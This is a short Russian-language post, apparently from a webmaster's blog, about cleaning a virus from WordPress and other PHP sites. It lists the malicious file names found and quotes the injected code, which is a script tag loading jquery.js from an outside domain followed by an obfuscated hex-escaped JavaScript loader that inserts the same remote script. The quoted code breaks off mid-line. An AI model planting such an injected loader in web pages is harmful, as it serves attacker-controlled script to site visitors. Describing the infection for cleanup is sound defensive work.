Лечение вируса на сайтах с php
Обнаружил у себя на сайтах wordpress и не только, где разрешения на папки стояли 777 или пользователь www-data имел право на запись файлы с названиями: ytpovuie ytpovuie.zip en.php и вида 09378bfbf19.php А также в начале многих php файлов добавился текст, который определялся яндексом как вирус и выводил сообщение об этом в поисковой выдаче: <script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js'></script><script type='text/javascript'>var _0x2f98=["x62x6Fx64x79","x62x65x66x6Fx72x65x65x6Ex64","x3Cx73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx63x64x6Ex2Ex65x65x64x75x65x6Cx65x6Dx65x6Ex74x73x2Ex63x6Fx6Dx2Fx6Ax71x75x65x72x79x2Ex6Ax73x27x20x61x73x79x6Ex63x20x74x79x70x65x3Dx27x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74x27x3Ex3Cx2Fx73x63x72x69x70x74x3E","x69x6Ex73x65x72x74x41x64x6Ax61x63x65x6Ex74x48x54x4Dx4C","x64x69x73x63x6Fx6Ex6Ex65x63x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x6Fx62x73x65x72x76x65"];(function(){var …